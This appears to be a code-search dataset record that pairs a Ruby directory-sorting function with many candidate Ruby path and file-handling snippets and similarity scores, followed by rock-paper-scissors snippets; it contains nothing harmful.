"def sortFilesFromDirs array, dir #array is elements in current directory: dir\n\n #temp arrays to hold files vs dirs\n dirs = Array.new\n files = Array.new\n\n array.each do |elem|\n\n #path to current entity interested in\n currentPath = dir + \"/\" + elem\n #puts \"currentPath: \" + currentPath\n\n #is dir or no?\n if Dir.exist? currentPath\n dirs << elem\n else\n files << elem\n end\n\n end\n\n #puts \"dirs: \" + dirs.to_s\n #puts \"files: \" + files.to_s\n \n #return concatenated array\n return dirs + files\n\n end",
"def path_name\n str = name.dup\n str << '/' if is_dir\n str = parent.path_name + str if parent\n str\n end",
"def dir\n url.end_with?(\"/\") ? url : url_dir\n end",
"def dir_name\n File.dirname(file_name)\n end",
"def getDir(dir)\n return dirByName.fetch(dir, nil)\n end",
"def url_safe_name\n name == '/' ? \"root-dir--#{file_type}\" : \"#{name}--#{file_type}\"\n end",
"def dir(file_name)\n File.join(@out_dir, file_name)\n end",
"def select_directory(dir)\n\t\tfile = []\n\n\t\tif dir.empty?\n\t\t\tdirectory = Dir.glob(\"DropsuiteTest/\")\n\t\telse\n\t\t\tdirectory = Dir.glob(\"DropsuiteTest/#{dir}/\")\n\t\t\tif directory.empty?\n\t\t\t\treturn \"The directory is not found\"\n\t\t\tend\n\t\tend\n\n\t\t#get all file from directory and sub directory\n\t\tdirectory.each{|d| file += Dir.glob(\"#{d}/**/*\")}\n\t\tval = read_content(file)\n\t\tval = \"#{val.keys[0]} #{val.values[0]}\"\n\t\treturn val\n\tend",
"def all_split_files_in dir_name\n return super unless @hax_mode\n @hax_last_dirname = dir_name\n ret = super\n lone_files = [\"#{dir_name}.md\", dir_name]\n lone_file = find_first_file(lone_files)\n if lone_file # e.g. '../README.md', 'README'\n @hax_last_filename = lone_file.dup\n class << lone_file\n #\n # supremely fragile hack:\n # make it so that it ignores the next + operation in the first\n # line of Nanoc3::DataSources::Filesystem#all_split_files_in()\n # this is shorter and easier than overriding and rewring\n # the above function but it is a supreme haxie guaranteed to fail\n # one day!!!\n #\n def + _; self end\n end\n other = super(lone_file)\n ret.merge!(other)\n end\n ret\n end",
"def linked_path_for(path)\n return path unless path.include?('/')\n current_path_base = request.env['REQUEST_URI'].gsub(path,'')\n dirs = path.split('/')\n file = dirs.pop\n linked_path = ''\n dirs.each do |dir|\n link = '<a href=\"' + current_path_base + dir + '\">' + dir + '</a>'\n current_path_base << \"#{dir}/\"\n linked_path << \"#{link}/\" \n end\n linked_path << file\n end",
"def file_path\n dir_name + file_name\n end",
"def normalisedDir(baseDir)\n return baseDir.end_with?(\"/\") ? baseDir : baseDir + \"/\"\n end",
"def decode_dir(path)\n path.gsub(\".d.hg/\",\".d/\").gsub(\".i.hg/\",\".i/\").gsub(\".hg.hg/\",\".hg/\")\n end",
"def create_dir(dir)\n dir = \"#{@dir}/#{dir}\"\n puts \"... Creating directory '#{dir}'\"\n Dir.mkdir(dir)\n end",
"def merge_path(base, rel)\n\n # RFC2396, Section 5.2, 5)\n # RFC2396, Section 5.2, 6)\n base_path = split_path(base)\n rel_path = split_path(rel)\n\n # RFC2396, Section 5.2, 6), a)\n base_path << '' if base_path.last == '..'\n while i = base_path.index('..')\n base_path.slice!(i - 1, 2)\n end\n\n if (first = rel_path.first) and first.empty?\n base_path.clear\n rel_path.shift\n end\n\n # RFC2396, Section 5.2, 6), c)\n # RFC2396, Section 5.2, 6), d)\n rel_path.push('') if rel_path.last == '.' || rel_path.last == '..'\n rel_path.delete('.')\n\n # RFC2396, Section 5.2, 6), e)\n tmp = []\n rel_path.each do |x|\n if x == '..' &&\n !(tmp.empty? || tmp.last == '..')\n tmp.pop\n else\n tmp << x\n end\n end\n\n add_trailer_slash = !tmp.empty?\n if base_path.empty?\n base_path = [''] # keep '/' for root directory\n elsif add_trailer_slash\n base_path.pop\n end\n while x = tmp.shift\n if x == '..'\n # RFC2396, Section 4\n # a .. or . in an absolute path has no special meaning\n base_path.pop if base_path.size > 1\n else\n # if x == '..'\n # valid absolute (but abnormal) path \"/../...\"\n # else\n # valid absolute path\n # end\n base_path << x\n tmp.each {|t| base_path << t}\n add_trailer_slash = false\n break\n end\n end\n base_path.push('') if add_trailer_slash\n\n return base_path.join('/')\n end",
"def directoryname\n new_parts = @parts[0..-2]\n new_parts[0] = absolute_prefix + new_parts[0]\n FilePath.new(*new_parts).to_s\n end",
"def set_post_dir_and_yaml_cat(dir)\n # Written like this to deal with category being nil\n if @category and Dir.exists?(File.join(@category, dir)) then\n @post_dir = File.join(@category, dir)\n @yaml_cat = nil\n else\n @post_dir = dir\n @yaml_cat = @category ? \"category: #{@category}\\n\" : nil\n end\n end",
"def cleanpath\n path = @path\n names = []\n pre = path\n while r = chop_basename(pre)\n pre, base = r\n case base\n when '.'\n when '..'\n names.unshift base\n else\n if names[0] == '..'\n names.shift\n else\n names.unshift base\n end\n end\n end\n if /#{SEPARATOR_PAT}/o =~ File.basename(pre)\n names.shift while names[0] == '..'\n end\n self.class.new(prepend_prefix(pre, File.join(*names)))\n end",
"def join_path(*path)\n win_friendly_path(::File.join(path))\n end",
"def join_path(*path)\n win_friendly_path(::File.join(path))\n end",
"def dir\n @dir ||= self.class.normalize_dir(::File.dirname(@path))\n end",
"def full_path(*name)\n # @type [Array<String>] Pathname#join only allows Strings\n rel_path = name.map(&:to_s)\n\n # @type [Pathname] Expand the relative path based on the template path provided to the initializer.\n fp = path.join(*rel_path).to_s\n\n # No more processing required if the user provided the file extension in the name.\n return fp unless File.extname(fp).empty?\n\n # No more processing required when a file extension was not provided, and the default file extension is disabled.\n return fp if !default_file_ext || default_file_ext.empty?\n\n # Only add a period if the file doesn't end with a period, or the extension doesn't begin with one.\n sep = default_file_ext[0] == '.' || fp[-1] == '.' ? '' : '.'\n\n # Add the default file extension.\n [fp, default_file_ext].join(sep)\n end",
"def path\n @path ||= Pathname.new(dir) + filename\n end",
"def dir_path\n File.expand_path(File.dirname(@path))\n end",
"def container_path(no_filename: nil, final_slash: nil, use_archive_file_name: nil, leading_dot: nil)\n parts = []\n parts << '.' if leading_dot\n parts << path unless path.blank?\n parts << file_name unless no_filename\n res = File.join parts\n res += '/' if final_slash && !res.empty?\n res\n end",
"def process_pages(dir, parent_section)\n\t\t\n\t\t# each page is a descendant of a section and contains one or more markdown subpages\n\t\tsubdirs_of(dir) do |page|\n\t\t\t\n\t\t\tpage_path = File.basename(page) # only the directory name\n\t\t\tpage_info = split_info(page_path) # array of position and page name\n\n\t\t\t# if this directory name is parsable\n\t\t\tif page_info\n\t\t\t\t# create the page\n\t\t\t\t# db_page = parent_section.pages.create(:title => page_info[2], :position => page_info[1], :path => page_path)\n\t\t\t\t\n\t\t\t\tdb_page = parent_section.pages.find_by_path(page_path) || parent_section.pages.new(path: page_path)\n\t\t\t\tdb_page.title = upcase_first_if_all_downcase(page_info[2])\n\t\t\t\tdb_page.position = page_info[1]\n\t\t\t\tdb_page.save\n\n\t\t\t\t# load submit.yml config file which contains items to submit\n\t\t\t\tsubmit_config = read_config(files(page, \"submit.yml\"))\n\n\t\t\t\t# add pset to database\n\t\t\t\tif submit_config\n\t\t\t\t\t\n\t\t\t\t\tdb_pset = nil\n\t\t\t\t\t\n\t\t\t\t\tif submit_config['name']\n\t\t\t\t\t\t# checks if pset already exists under name\n\t\t\t\t\t\tdb_pset = Pset.where(:name => submit_config['name']).first_or_initialize\n\t\t\t\t\t\tdb_pset.description = page_info[2]\n\t\t\t\t\t\tdb_pset.message = submit_config['message'] if submit_config['message']\n\t\t\t\t\t\tdb_pset.form = !!submit_config['form']\n\t\t\t\t\t\tdb_pset.url = !!submit_config['url']\n\t\t\t\t\t\tdb_pset.page = db_page # restore link to owning page!\n\t\t\t\t\t\tif submit_config['files']\n\t\t\t\t\t\t\tdb_pset.files = submit_config['files']\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdb_pset.files = nil\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tdb_pset.config = submit_config\n\n\t\t\t\t\t\tdb_pset.automatic = !!db_pset.config && db_pset.config[\"automatic\"].present?\n\t\t\t\t\t\tdb_pset.save\n\t\t\t\t\t\t\n\t\t\t\t\t\tPset.where(\"id != ?\", db_pset).where(page_id: db_page).update_all(page_id: nil)\n\n\t\t\t\t\t\t# remove previous files\n\t\t\t\t\t\t# db_pset.pset_files.delete_all\n\n\t\t\t\t\t\t# always recreate so it's possible to remove files from submit\n\t\t\t\t\t\t# ['required', 'optional'].each do |modus|\n\t\t\t\t\t\t# \tif submit_config[modus]\n\t\t\t\t\t\t# \t\tsubmit_config[modus].each do |file|\n\t\t\t\t\t\t# \t\t\tdb_pset.pset_files.create(:filename => file, :required => modus == 'required')\n\t\t\t\t\t\t# \t\tend\n\t\t\t\t\t\t# \tend\n\t\t\t\t\t\t# end\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tif submit_config['dependent_grades']\n\t\t\t\t\t\tsubmit_config['dependent_grades'].each do |grade|\n\t\t\t\t\t\t\tpset = Pset.where(:name => grade).first_or_create\n\t\t\t\t\t\t\tpset.update_attribute(:page_id, db_page.id)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tPset.where(page_id: db_page).update_all(page_id: nil)\n\t\t\t\tend\n\t\t\t\tprocess_subpages(page, db_page)\n\t\t\tend\n\t\n\t\tend\n\tend",
"def location(dir)\n\tdir = File.expand_path(dir)\n\tif !File.directory? dir\n\t\tFileUtils::mkpath(dir)\n\tend\n\treturn dir\nend",
"def page_dir\n if root?\n site.public_dir\n else\n pieces = path.sub(/^\\//, '').split('/')\n File.join(site.site_files_dir, *pieces[0..-2])\n end\n end",
"def page_file_name(name, format)\n ext = @page_class.format_to_ext(format)\n @page_class.cname(name) + '.' + ext\n end",
"def set_dir_name(dir_name)\n @builder['dir_label'].label = dir_name\n end",
"def name_to_dir(name)\n s = \"\"\n name.each_char do |c|\n if (c =~ /[-A-Za-z0-9_|\\[\\]]/) != nil\n s += c\n else\n c2 = TAG_NAME_MAP[c]\n if not c2\n msg = \"Bad character '#{c}' in tag '#{name}'\"\n puts(\"*** #{msg}\")\n raise Exception.new(msg)\n end\n s += \"#{c2}\"\n end\n end\n s\n end",
"def default_dir(dir)\n Pathname(dir || Pathname.getw)\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n dot_dirs = []\n dot_pages = []\n dot_static_files = []\n\n dot = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n dot.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n dot_dirs << entry\n elsif Utils.has_yaml_header?(file_path)\n dot_pages << entry\n else\n dot_static_files << entry\n end\n end\n\n retrieve_posts(dir)\n retrieve_dirs(base, dir, dot_dirs)\n retrieve_pages(dir, dot_pages)\n retrieve_static_files(dir, dot_static_files)\n end",
"def expand_path(file_name, dir_string)\n raise NotImplementedError\n end",
"def path_in_dir(file)\n \"#{@req.env['PATH_INFO']}/#{file}\".gsub('//', '/')\n end",
"def collection_dir(*files); end",
"def normalized_path(file); end",
"def apply_directory(dir)\n output_base = dir.gsub(@template_dir.path, '').gsub(@template, @project)\n output_dir = File.join(@output_dir.path, output_base)\n FileUtils.mkdir_p(output_dir)\n\n dir = Dir.new(dir)\n files = dir.entries.reject do |d|\n /^(\\.|\\.\\.)$/.match(d)\n end\n\n # get full path for all files that need to be copied\n files.map! do |file|\n File.join(dir, file)\n end\n\n dirs = files.select do |file|\n File.directory?(file)\n end\n\n files.reject! do |file|\n File.directory?(file)\n end\n\n files.each do |file|\n apply_file(file, output_dir)\n end\n\n dirs.each do |d|\n apply_directory d\n end\n end",
"def page_file_name(name, format)\n format.nil? ? name : \"#{name}.#{::Gollum::Page.format_to_ext(format)}\"\n end",
"def join(path)\n path_str = path.to_s\n super(path_str[0..0] == '/' ? path_str[1..-1] : path_str).p\n end",
"def directory(dir)\n @dir ||= Hash.new { |h, k| h[k] = __directory(k) }\n @dir[dir]\n end",
"def build_path\n _pages = self.parents.reverse + [self]\n self.path = _pages.map(&:slug).reject(&:blank?).join('/')\n end",
"def compile dir = nil\n if dir.nil?\n dir = @game_dir\n end\n\n valid_dir_entries(dir).each do |d|\n fullPath = File.join(dir, d)\n\n if File.directory?(fullPath)\n compile File.join(dir, d)\n elsif File.file?(fullPath)\n bits = fullPath[@game_dir.length+1..fullPath.length-1].split(File::SEPARATOR)\n if bits.include?('archetypes')\n compile_archetype(fullPath)\n elsif bits.include?('qualities')\n compile_mixin(fullPath)\n elsif bits.include?('verbs')\n compile_verb(fullPath)\n elsif bits.include?('adverbs')\n compile_adverb(fullPath)\n elsif bits[0] == 'domains' && bits.length == 3\n @pending << [ :compile_domain_data, [ fullPath, bits ]]\n end\n end\n end\n end",
"def directory_paths\n pages.map { |p| File.dirname(p.path).split(\"/\")[0] }.uniq\n end",
"def escape_path(path)\n # Strip anchors incase input is in a url form (as per guide)\n path = strip_anchors(path)\n filename = File.basename(path)\n folder = File.dirname(path)\n # avoid turning style.css into ./style.css\n if folder == \".\"\n URI.escape(unescape_path(filename))\n else\n File.join folder, URI.escape(unescape_path(filename))\n end\n end",
"def format_path(entry)\n server_path = entry.path\n if base_path && server_path[0,base_path.length] == base_path\n if server_path == base_path\n return \".\"\n elsif server_path[base_path.length,1] == \"/\"\n return server_path[base_path.length + 1, server_path.length - base_path.length - 1]\n elsif base_path == \"/\" && server_path[0,1] == \"/\"\n return server_path[1, server_path.length - 1]\n end\n end\n server_path\n end",
"def file_path\n dir\n end",
"def subdir_and_filename_for(entry)\n Pathname.new(entry).split\n end",
"def add_dir (dir)\n @dirs[dir.path] = dir\n end",
"def categories_from_path(special_dir)\n if relative_path.start_with?(special_dir)\n superdirs = []\n else\n superdirs = relative_path.sub(Document.superdirs_regex(special_dir), \"\")\n superdirs = superdirs.split(File::SEPARATOR)\n superdirs.reject! { |c| c.empty? || c == special_dir || c == basename }\n end\n\n merge_data!({ \"categories\" => superdirs }, :source => \"file path\")\n end",
"def join_path(path)\n if path.include?('\\\\') && path.include?('/')\n path.gsub('\\\\', '/')\n else\n path\n end\n end",
"def get_entries_path(dir_path)\n\t\tentries_path = Dir.entries( dir_path )\n\t\tentries_path.delete(\"..\")\n\t\tentries_path.delete(\".\")\n\t\tentries_path.map!{ |e| dir_path + \"/\" + e.force_encoding(\"utf-8\") }\n\t\tentries_path\n\tend",
"def relative_directory\n return '' unless @directory_root\n @path - @directory_root - name\n end",
"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n entries_dirs = []\n entries_pages = []\n entries_static_files = []\n\n entries = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n entries.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n entries_dirs << entry\n elsif Utils.has_yaml_header?(file_path) || Utils.has_rbfm_header?(file_path)\n entries_pages << entry\n else\n entries_static_files << entry\n end\n end\n\n retrieve_dirs(dir, entries_dirs)\n retrieve_pages(dir, entries_pages)\n retrieve_static_files(dir, entries_static_files)\n end",
"def addDir(dirPath)\n #N Without this, the directory path won't be broken up into its elements\n pathElements = getPathElements(dirPath)\n #N Without this check, it will fail in the case where dirPath has no elements in it\n if pathElements.length > 0\n #N Without this, we won't know the first element in the path (which is needed to construct the immediate sub-directory content-tree representing the first part of the path)\n pathStart = pathElements[0]\n #N Without this we won't know the rest of the elements so that we can add that part of the dir path into the content tree we've just created\n restOfPath = pathElements[1..-1]\n #N Without this the immedate sub-directory content tree and the chain of sub-directories within that won't be created\n getContentTreeForSubDir(pathStart).addDir(restOfPath)\n end\n end",
"def generate_file_path(dir, files_to_load)\n Dir.foreach(dir) do |fname|\n unless fname == '.' || fname == '..'\n files_to_load << \"./#{dir}/#{fname}\"\n end\n end\nend",
"def tree(dir='.')\n output = []\n visit_tree(output, '.', '', '', '', dir)\n output.join(\"\\n\")\n end",
"def add_dir (dir)\n @dirs[dir.path] = dir\n end",
"def expand_path(filename, dir=nil)\n dir ||= File.dirname render_stack.last\n File.expand_path filename, dir\n end",
"def name_to_dir(name)\n name.gsub(/[^-A-Za-z0-9_|\\[\\]]/, \"_\")\n end",
"def add_dir( zipfile, d )\n FileList.new(\"#{d}/**/*\").each { |f| add_file(zipfile, f) if File.file?(f) }\n end",
"def dir\n calc_dir(@basename)\n end",
"def path_join(base, path)\n return path if path_is_absolute(path)\n base.gsub(/[\\/]+$/, '') + '/' + path.gsub(/^[\\/]+/, '')\n end",
"def join_filenames(filenames, base='./')\n filenames.map { |f| File.expand_path(File.join(base, f)) }.join(' ')\nend",
"def initialize(dir)\n @dir = Pathname.new(dir)\n end",
"def dir\n url[-1, 1] == '/' ? url : File.dirname(url)\n end",
"def wikify_path(path)\n wiki_parts = path.split(File::SEPARATOR).collect do |part|\n wikify(part)\n end\n return File.join(wiki_parts)\n end",
"def href\n dir = ::File.dirname(file.path)\n ext = ::File.extname(file.path)\n\n if dir != '.'\n ::File.join(dir, name.chomp(ext)) #file.path) \n else\n if name == settings.index #|| 'Home'\n 'index.html'\n else\n name.chomp(ext) #file.path\n end\n end\n end",
"def simple_dir(name)\n\treturn D.new(@cvsroot, self, @path + '/' + name)\n end",
"def relative_path\n @relative_path ||= File.join(*[@dir, @name].map(&:to_s).reject(&:empty?)).delete_prefix(\"/\")\n end"
] |
[
"0.6163197",
"0.5780102",
"0.5726545",
"0.5492942",
"0.541565",
"0.5377244",
"0.53496736",
"0.52786666",
"0.5193492",
"0.5124601",
"0.50819945",
"0.5069302",
"0.50276554",
"0.50249004",
"0.49910644",
"0.49868384",
"0.49550983",
"0.4952178",
"0.49425447",
"0.4919276",
"0.48733145",
"0.48530748",
"0.48189485",
"0.4805267",
"0.47941542",
"0.47867674",
"0.47795665",
"0.47729957",
"0.475299",
"0.4748816",
"0.47298467",
"0.47213352",
"0.4709198",
"0.469932",
"0.46867958",
"0.4674968",
"0.4674591",
"0.46679968",
"0.46659645",
"0.4643459",
"0.46322158",
"0.4627877",
"0.46247154",
"0.46233028",
"0.46162766",
"0.46140054",
"0.46079218",
"0.45998338",
"0.45998338",
"0.45962274",
"0.45954728",
"0.45877934",
"0.45869997",
"0.45855796",
"0.45774522",
"0.45759943",
"0.45750752",
"0.45643386",
"0.4563977",
"0.45638162",
"0.4550263",
"0.45491102",
"0.45379966",
"0.45246968",
"0.45235333",
"0.4518457",
"0.45161355",
"0.450958",
"0.4508048",
"0.45072415",
"0.45016322",
"0.4485378",
"0.44836876",
"0.44770336",
"0.447567",
"0.44650725",
"0.44645035",
"0.44520548",
"0.4451767",
"0.44439283",
"0.44417223",
"0.44411427",
"0.4439213",
"0.44312757",
"0.44253847",
"0.44242975",
"0.44195256",
"0.44119444",
"0.44047022",
"0.43988433",
"0.43987396",
"0.43886954",
"0.43861112",
"0.43845105",
"0.43823218",
"0.43769118",
"0.4372299",
"0.4368744",
"0.4366461",
"0.4366187"
] |
0.77625287
|
0
|
returns either "rock", "paper", or "scissors" using rand()
|
def comp_choose_rps
rand_num = rand(3)
if rand_num == 1
"rock"
elsif rand_num == 2
"paper"
else
"scissors"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def choose\n [:rock, :paper, :scissors, :spock, :lizard].sample\n end",
"def choice\n\n\t$c_choice = 1 + rand(3)\n\n\t# Convert int to appropriate string\n\n\tcase $c_choice\n\t\twhen 1\n\t\t\t$c_choice = \"rock\"\n\t\twhen 2\n\t\t\t$c_choice = \"paper\"\n\t\twhen 3\n\t\t\t$c_choice = \"scissors\"\n\tend\n\n\tputs $c_choice.upcase\n\nend",
"def determine_what_comp_picks\n random = [1,2,3].shuffle\n choice = random[0]\n\n if choice == 1\n comp_picked = \"Paper\"\n elsif choice == 2\n comp_picked = \"Rock\"\n elsif choice == 3\n comp_picked = \"Scissors\"\n end\n\nend",
"def rps(choice)\n choice = choice.capitalize\n rps = [\"Rock\", \"Paper\", \"Scissors\"]\n computer_choice = rps[rand(3)]\n return \"You: #{choice}, Computer: #{computer_choice}, Draw\" if choice == computer_choice\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Rock\" && computer_choice == \"Scissors\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Rock\" && computer_choice == \"Paper\"\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Paper\" && computer_choice == \"Rock\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Paper\" && computer_choice == \"Scissors\"\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Scissors\" && computer_choice == \"Paper\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Scissors\" && computer_choice == \"Rock\"\nend",
"def choose\n \n case @last_opponent_choice\n when :paper\n [:rock, :scissors][rand(2)]\n when :rock\n [:paper, :scissors][rand(2)]\n when :scissors\n [:rock, :scissors][rand(2)]\n end\n \n #:paper\n \n \n end",
"def rock_battle\n if computer_rand == \"p\"\n puts \"Paper beats rock.\"\n puts \"The computer won.\"\n elsif computer_rand == \"s\"\n puts \"Rock beats scissors.\"\n puts \"You won!\"\n end\nend",
"def computer_choice \r\n\t\t@computer = [\"rock\", \"paper\", \"scissors\"].shuffle.first\r\n\tend",
"def game\n if p1 == \"rock\" && p2 == \"scissors\"\n victor = \"rock\"\n elsif p1 == \"scissors\" && p2 == \"rock\"\n victor = \"rock\"\n elsif p1 == \"scissors\" && p2 == \"paper\"\n victor = \"scissors\"\n elsif p1 == \"paper\" && p2 == \"scissors\"\n victor = \"scissors\"\n elsif p1 == \"paper\" && p2 == \"rock\"\n victor = \"paper\"\n else p1 == \"rock\" && p2 == \"paper\"\n victor = \"paper\"\n end\n return victor\n end",
"def rps(user_hand)\nuser_hand.downcase!\ncomp_hand = [\"rock\", \"paper\", \"scissors\"].sample\n# \"rock\" < \"paper\"=== tru\n# \"rock\" > \"scissor\"\n# \"paper\" < \"scissor\"\n if (comp_hand == \"rock\" && user_hand == \"paper\") || \n (comp_hand== \"scissors\" && user_hand == \"rock\") || \n (comp_hand== \"paper\" && user_hand == \"scissors\")\n \"user had #{user_hand} and computer had #{comp_hand}. User wins!\"\n elsif comp_hand == user_hand\n \"user had #{user_hand} and computer had #{comp_hand}. Draw!\"\n else \n \"user had #{user_hand} and computer had #{comp_hand}. Computer wins!\"\n end\nend",
"def rps(user_weapon)\n weapons = [\"rock\", \"paper\", \"scissors\"]\n computer_weapon = weapons.shuffle.last\n\n if user_weapon == \"rock\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Draw!\"\n when \"paper\"\n return \"Paper, Lose!\"\n when \"scissors\"\n return \"Scissors, Win!\"\n end\n elsif user_weapon == \"paper\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Win!\"\n when \"paper\"\n return \"Paper, Draw!\"\n when \"scissors\"\n return \"Scissors, Lose!\"\n end\n elsif user_weapon == \"scissors\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Lose!\"\n when \"paper\"\n return \"Paper, Win!\"\n when \"scissors\"\n return \"Scissors, Draw!\"\n end\n end\n\nend",
"def player_pick(player_num) #to convert the player's letter choice to a word\n if player_num == 'r'\n player_choice = 'rock'\n elsif player_num == 'p'\n player_choice = 'paper'\n elsif player_num == 's'\n player_choice = 'scissors'\n end\nend",
"def computer_ai_1\n choices =['r', 'p', 's']\n choices.sample\n end",
"def computer_hand\n hands = ['r', 'p', 's']\n ran = hands.sample\n ran.to_s\nend",
"def who_goes_first()\n\n if rand()>0.5\n return 'computer'\n else\n return 'player'\n end \nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\n end",
"def classify_com(chosen)\n if chosen == 0\n return 'Rock'\n elsif chosen == 1\n return 'Paper'\n elsif chosen == 2\n return 'Scissors'\n end\nend",
"def choose_weapons\n puts \"Choose 'r' for rock, 'p' for paper or 's' for scissors\"\n return gets.chomp.downcase\n end",
"def paper_scissors_rock\n clear_screen\n draw_shovel_line\n\tputs \"\\n Play with the Sphinx's stomach to get out!\\n\"\n sleep(1)\n\tresult = rand(3).floor\n\task_user \"\\n What have you got?:\" , \" \\n\\n 1| for paper \\u{1F4C3}\\n 2| for scissors \\u{2702}\\n 3| for rock \\u{270A}\\n\\n\"\n\tsleep(0.5)\n puts \" \\u{1F449}\"\n choice = gets.chomp.to_i\n\n\tif choice == result\n\t\tsay \"\\nIt's a tie!\\n\"\n sleep(1.5)\n\t\tpaper_scissors_rock\n\telsif choice < result\n\t\tsay \"\\nSorry, you lost\\n Try again!\"\n sleep(1.5)\n\t\tpaper_scissors_rock\n\telsif choice > result\n\t\tputs \"\\n You won! Get out!!!!\\n\"\n sleep(1.5)\n draw_shovel_line\n sleep(1.5)\n\n\tend\nend",
"def randomRare\n\t\tgolden = randomGold(:rare)\n\t\tmakeCard(:rare, golden)\n\tend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
